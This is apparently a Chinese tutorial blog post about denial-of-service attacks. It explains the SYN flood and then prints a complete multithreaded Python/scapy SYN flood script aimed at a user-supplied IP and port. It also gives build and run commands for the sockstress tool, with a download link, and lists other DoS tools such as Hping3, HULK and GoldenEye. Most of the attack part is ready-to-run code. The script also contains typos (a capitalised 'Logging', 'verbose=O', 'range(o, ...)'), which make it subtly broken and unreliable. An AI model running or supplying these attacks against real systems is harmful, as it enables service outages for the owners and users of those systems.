当前位置:网站首页>任务:拒绝服务DoS
任务:拒绝服务DoS
2022-07-01 18:44:00 【Debroon】
拒绝服务 DoS 原理
拒绝服务 DoS,是利用程序漏洞或一对一资源耗尽的 Denial of Service 拒绝服务。
但 DoS 是一对一的攻击,完全拼各自的资源,效果不好。
分布式拒绝服务 DDos,是多对一的攻击,汇集资源,重点在于量大。
正常用户访问网页的过程:
- 用户发送请求(SYN 包)
- 网站服务器接受请求,返回(SYN-ACK包)
- 用户再次发送(ACK包),用户和网站的服务联通

Syn-Flood洪水攻击、IP地址欺骗
Syn-Flood洪水攻击原理:网站服务器服务的顾客数是有限的(TCP最大连接数,并不是服务器的CPU和内存),我们用自己操控的大量的电脑来占用网站服务器资源(不断发起请求,源源不绝),那其他用户访问这个网站,就没有接待资源了(申请服务,网站服务拒绝)。

syn_flood.py 脚本:
# _*_ coding: utf-8 _*_
# 设置编码,支持中文字符
from scapy.all import *
# 导入操纵报文和网站交互的包,可实现洪水攻击的发包操作
from time import sleep
import random
import thread
# 导入线程包
import logging
# 导入日志包
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
# 给用户的输入提示,保证输入格式
if len(sys.argv)!= 4:
print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
print "举例:./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1]) # 目标地址
port = int(sys.argv[2]) # 端口
threads = int(sys.argv[3]) # 线程数,多线程实现大量的攻击
print "正在执行 SYN flood 进攻,按 Ctrl+C 止攻。"
def synflood(target, port):
while 1:
x = random.randint(0, 65535)
# 随机选择一个端口,作为源端口
send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
# 发送请求,占用目标服务器的TCP连接数
for x in range(o, threads):
# 从 0 到 线程数
thread.start_new_thread( synflood, (target, port) )
# 在目标的ip和端口,把所有线程数都打出去
Smurf攻击、Sockstress
# Python 调用攻击脚本
./sockstress.py 1.1.1.1 21 200
// C 调用攻击脚本
下载工具:https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http
TearDrop
DNS放大攻击
SNMP放大攻击
NTP放大攻击
应用层Dos
拒绝服务攻击工具-RUDY、Hping3、LAND攻击、Siege
拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye
边栏推荐
- Graduation season | Huawei experts teach the interview secret: how to get a high paying offer from a large factory?
- Gameframework eating guide
- 从零开始学 MySQL —数据库和数据表操作
- 小红书上的爱情买卖
- 使用环信提供的uni-app Demo,快速实现一对一单聊
- kubernetes命令入门(namespaces,pods)
- Lake Shore—OptiMag 超导磁体系统 — OM 系列
- Clean up system cache and free memory under Linux
- Manufacturing SRM management system supplier all-round closed-loop management, to achieve procurement sourcing and process efficient collaboration
- Intensive cultivation of channels for joint development Fuxin and Weishi Jiajie held a new product training conference
猜你喜欢

Lake Shore 连续流动低温恒温器传输线
![Extensive reading of the paper [film: visual reasoning with a general condition layer]](/img/69/f4ba37a7eae34a7e698127c31b0161.png)
Extensive reading of the paper [film: visual reasoning with a general condition layer]

寶,運維100+服務器很頭疼怎麼辦?用行雲管家!

Cdga | if you are engaged in the communication industry, you should get a data management certificate

Huawei game failed to initialize init with error code 907135000

MySQL common graphics management tools | dark horse programmers

MySQL常用图形管理工具 | 黑马程序员

The intelligent epidemic prevention system provides safety guarantee for the resumption of work and production at the construction site

Lake Shore M91快速霍尔测量仪

Altair HyperWorks 2022 software installation package and installation tutorial
随机推荐
物联网平台thingsboard搭建学习记录
PostgreSQL varchar[] 数组类型操作
有关 M91 快速霍尔测量仪的更多信息
市值蒸发740亿,这位大佬转身杀入预制菜
241. Different Ways to Add Parentheses
【直播预约】数据库OBCP认证全面升级公开课
11. Users, groups, and permissions (1)
The difference between indexof and includes
Solution: you can ping others, but others can't ping me
Summary of cases of players' disconnection and reconnection in Huawei online battle service
Dlib+Opencv库实现疲劳检测
Lake Shore 连续流动低温恒温器传输线
MFC中如何重绘CListCtrl的表头
使用环信提供的uni-app Demo,快速实现一对一单聊
Reading the paper [learning to discretely compose reasoning module networks for video captioning]
精益思想:来源,支柱,落地。看了这篇文章就懂了
宝,运维100+服务器很头疼怎么办?用行云管家!
PMP是被取消了吗??
见证时代!“人玑协同 未来已来”2022弘玑生态伙伴大会开启直播预约
【pytorch记录】自动混合精度训练 torch.cuda.amp